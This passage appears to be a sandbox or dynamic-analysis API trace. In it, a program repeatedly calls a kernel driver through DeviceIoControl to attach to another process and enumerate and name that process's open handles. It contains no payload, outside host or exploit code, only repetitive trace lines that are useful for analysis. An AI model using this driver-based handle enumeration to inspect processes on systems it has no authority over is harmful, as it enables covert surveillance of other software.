hHeap=0x150000) returned 1 [0069.240] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0069.240] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.240] PsAcquireProcessExitSynchronization () returned 0x0 [0069.240] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.240] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0069.240] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.240] PsReleaseProcessExitSynchronization () returned 0x2 [0069.240] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.240] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x12 [0069.240] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.240] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.240] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0069.240] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.240] PsAcquireProcessExitSynchronization () returned 0x0 [0069.240] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.240] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0069.240] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.240] PsReleaseProcessExitSynchronization () returned 0x2 [0069.240] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.240] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0069.240] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.240] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.240] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0069.241] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.241] PsAcquireProcessExitSynchronization () returned 0x0 [0069.241] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.241] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0069.241] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.241] PsReleaseProcessExitSynchronization () returned 0x2 [0069.241] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.241] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0069.241] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.241] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.241] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0069.241] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.241] PsAcquireProcessExitSynchronization () returned 0x0 [0069.241] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.241] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0069.241] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.241] PsReleaseProcessExitSynchronization () returned 0x2 [0069.241] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.241] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0069.241] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.241] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.241] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0069.241] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.241] PsAcquireProcessExitSynchronization () returned 0x0 [0069.241] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.241] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0069.241] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.241] PsReleaseProcessExitSynchronization () returned 0x2 [0069.241] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.242] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0069.242] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.242] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.242] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0069.242] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.242] PsAcquireProcessExitSynchronization () returned 0x0 [0069.242] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.242] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0069.242] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.242] PsReleaseProcessExitSynchronization () returned 0x2 [0069.242] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.242] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.242] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0069.242] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.242] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.242] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0069.242] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.242] PsAcquireProcessExitSynchronization () returned 0x0 [0069.242] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.242] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0069.242] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.242] PsReleaseProcessExitSynchronization () returned 0x2 [0069.242] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.242] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.242] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x13 [0069.242] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.242] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.242] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0069.242] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.242] PsAcquireProcessExitSynchronization () returned 0x0 [0069.242] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.243] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0069.243] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.243] PsReleaseProcessExitSynchronization () returned 0x2 [0069.243] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.243] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.243] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0069.243] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.243] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.243] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0069.243] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.243] PsAcquireProcessExitSynchronization () returned 0x0 [0069.243] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.243] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0069.243] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.243] PsReleaseProcessExitSynchronization () returned 0x2 [0069.243] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.243] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003997044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003997044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.243] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0069.243] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.243] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.243] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0069.243] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.243] PsAcquireProcessExitSynchronization () returned 0x0 [0069.243] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.243] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0069.243] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.243] PsReleaseProcessExitSynchronization () returned 0x2 [0069.243] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.243] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.243] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0069.243] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.243] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.244] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0069.244] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.244] PsAcquireProcessExitSynchronization () returned 0x0 [0069.244] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.244] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0069.244] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.244] PsReleaseProcessExitSynchronization () returned 0x2 [0069.244] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003999044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003999044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.244] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0069.244] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.244] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.244] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0069.244] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.244] PsAcquireProcessExitSynchronization () returned 0x0 [0069.244] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.244] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0069.244] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.244] PsReleaseProcessExitSynchronization () returned 0x2 [0069.244] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.244] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0069.244] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.244] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.244] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0069.244] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.244] PsAcquireProcessExitSynchronization () returned 0x0 [0069.244] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.244] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0069.244] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.244] PsReleaseProcessExitSynchronization () returned 0x2 [0069.244] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.245] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800399b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.245] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0069.245] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.245] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0069.245] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.245] PsAcquireProcessExitSynchronization () returned 0x0 [0069.245] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.245] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0069.245] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.245] PsReleaseProcessExitSynchronization () returned 0x2 [0069.245] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.245] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800399c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.245] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0069.245] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.245] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0069.245] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.245] PsAcquireProcessExitSynchronization () returned 0x0 [0069.245] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.245] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0069.245] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.245] PsReleaseProcessExitSynchronization () returned 0x2 [0069.245] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.245] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.245] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0069.245] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.245] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0069.245] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.246] PsAcquireProcessExitSynchronization () returned 0x0 [0069.246] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 